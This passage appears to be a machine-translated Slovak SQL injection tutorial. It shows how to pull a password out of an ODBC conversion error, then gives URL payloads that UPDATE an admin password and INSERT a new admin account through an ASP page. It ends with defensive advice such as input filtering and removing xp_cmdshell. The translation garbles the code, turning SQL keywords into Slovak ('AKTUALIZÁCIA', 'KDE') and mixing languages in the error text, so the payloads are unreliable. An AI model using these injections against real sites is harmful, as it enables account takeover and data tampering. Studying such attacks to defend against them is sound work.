Jednoducho použijeme znamienko plus (+) na pripojenie hesla k ľubovoľnému textu (kódovanie ASCII pre „+“ = 0x2b). Ďalej na koniec skutočného hesla pripojíme „%20morpheus“. Takže aj keď je hodnota hesla "31173", stane sa "31173 morpheus". Pri manuálnom volaní funkcie convert() pri pokuse o konverziu „31173 morpheus“ na celé číslo SQL Server vyvolá chybové hlásenie ODBC:

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "31173 morpheus" to a column of data type int. !}
/index.asp, riadok 5

Teraz sa budeme môcť prihlásiť ako „trinity“ s heslom „31173“.

7.0 Ako upraviť/vložiť údaje do databázy?

Keď už máme mená všetkých podľa stĺpcov v tabuľke, môžeme aktualizovať (UPDATE) alebo dokonca vložiť (INSERT) nový záznam do tabuľky. Napríklad môžeme zmeniť heslo pre „neo“:

http://duck/index.asp?id=10; AKTUALIZÁCIA "admin_login" SET "password" = "newpas5" KDE login_name="neo--

VLOŽENIE nového záznamu do databázy:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

Teraz sa budeme môcť prihlásiť ako „neo“ s heslom „newpas5“.

8.0 Ako sa vyhnúť SQL Injection?

Filtrovať špeciálne znaky vo všetkých riadkoch v:

Akékoľvek údaje zadané používateľom
- parametre adresy URL
- Cookie

V prípade číselných hodnôt ich pred odovzdaním do dotazu SQL skonvertujte na celé číslo. Alebo použite ISNUMERIC, aby ste sa uistili, že ide o celé číslo.

Spustite SQL Server ako neprivilegovaný používateľ.

Odstráňte nepoužívané uložené procedúry: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask